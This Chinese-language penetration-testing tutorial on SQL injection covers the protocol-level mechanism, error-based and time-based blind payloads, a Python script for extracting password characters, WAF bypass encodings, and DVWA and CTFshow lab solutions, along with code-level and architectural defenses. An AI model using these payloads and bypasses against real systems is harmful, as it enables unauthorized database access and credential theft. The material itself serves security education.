1. Web漏洞挖掘实战SQL注入技术全景解析在网络安全攻防演练中SQL注入始终占据OWASP Top 10榜首位置。作为渗透测试工程师的必修课真正掌握SQL注入需要理解数据库底层交互机制而不仅是工具使用。本系列将用解剖学视角带你看清SQL注入的骨骼与脉络。2. SQL注入底层运行机制2.1 数据库通信协议本质当应用程序将用户输入拼接进SQL语句时数据库引擎接收的是原始字符串流。以MySQL为例其通信协议Protocol::COM_QUERY不会区分合法查询与恶意构造只要语法正确就会执行。这就是注入攻击能够成功的根本原因。关键发现使用Wireshark抓取MySQL通信包时可以观察到完整的SQL语句文本形态这解释了为什么注释符(--)和字符串拼接(CONCAT)能改变原语句语义。2.2 查询解析器的工作逻辑数据库引擎处理SQL语句时经历词法分析→语法分析→语义分析→执行计划生成四个阶段。注入攻击利用的是词法分析阶段的字符串处理特性-- 原始语句 SELECT * FROM users WHERE id 1 -- 注入变形后 SELECT * FROM users WHERE id 1 UNION SELECT 1,2,database()--攻击者通过闭合原引号、插入新操作符的方式欺骗解析器将其识别为合法语法树节点。3. 全场景注入技术矩阵3.1 基础注入类型实战3.1.1 报错注入深度利用通过构造非常规参数触发数据库错误信息泄露-- MySQL报错注入经典payload 1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--关键技巧不同数据库的报错函数差异MySQL: extractvalue/updatexml/floorOracle: utl_inaddr.get_host_nameMSSQL: convert(int,version)3.1.2 时间盲注优化方案当服务器禁用错误回显时采用时间函数进行条件判断# 自动化探测脚本示例 import requests import time def check_delay(url, payload): start time.time() requests.get(url payload) return time.time() - start 2 # 检测子查询结果 if check_delay(http://test.com?id1, AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1))100,SLEEP(2),0)-- ): print(Condition true)3.2 高阶绕过技术3.2.1 WAF绕过艺术现代WAF采用正则过滤语义分析双重机制对应突破方案防御手段绕过方法实例关键词过滤等价函数替换SUBSTRING → MID/SUBSTR空格过滤注释符替代SELECT/123/user FROM/xx/admin编码检测非常规字符编码%A0作为空格%EF%BC%8C代替逗号3.2.2 ORM框架注入即使使用MyBatis等ORM工具不当写法仍会导致注入// 危险写法$动态拼接 Select(SELECT * FROM users WHERE name ${name}) ListUser findByName(Param(name) String name); // 安全写法#预编译 Select(SELECT * FROM users WHERE name #{name}) ListUser findByName(Param(name) String name);4. 企业级防御体系构建4.1 代码层防护预编译语句强制使用规范SonarQube检测规则输入验证白名单正则表达式# 用户名允许字符集 ^[a-zA-Z0-9_\-\.]{3,20}$4.2 架构层防护数据库防火墙配置示例Oracle MySQL Enterprise-- 禁止敏感函数执行 ADD POLICY block_dangerous_functions ON *.* TO app_user% FILTER CONTAINS_SUBSTRING(query,information_schema);4.3 监控与应急异常SQL语句特征监控单语句多关键字组合SELECTUNIONFROM异常函数调用LOAD_FILE、INTO OUTFILE超长WHERE条件500字符5. 实战靶场闯关记录5.1 DVWA靶场突破在SecurityHigh级别下通过二次URL编码绕过过滤原始输入1 UNION SELECT user,password FROM users-- 处理步骤 1. URL编码%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20... 2. 二次编码%25%33%31%25%32%37%25%32%30%25%35%35...5.2 CTFshow题目解析利用MySQL特性突破过滤-- 题目过滤了空格和注释符 1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadatabase()%236. 自动化工具开发要点使用Python构建轻量级注入检测工具时需注意请求头随机化User-Agent轮换延时动态调整根据响应时间自适应指纹识别逻辑def detect_db_type(response): if MySQL server version in response.text: return mysql elif ORA- in response.text: return oracle elif Incorrect syntax in response.text: return mssql在真实渗透测试中我习惯先用手工探测确定注入点特征再用sqlmap的--tamper参数组合各种绕过脚本。记住工具只是辅助理解原理才能应对变种攻击。最近遇到个案例开发者在JSON参数里做拼接导致注入这种非传统位置需要特别关注Content-Type的处理。
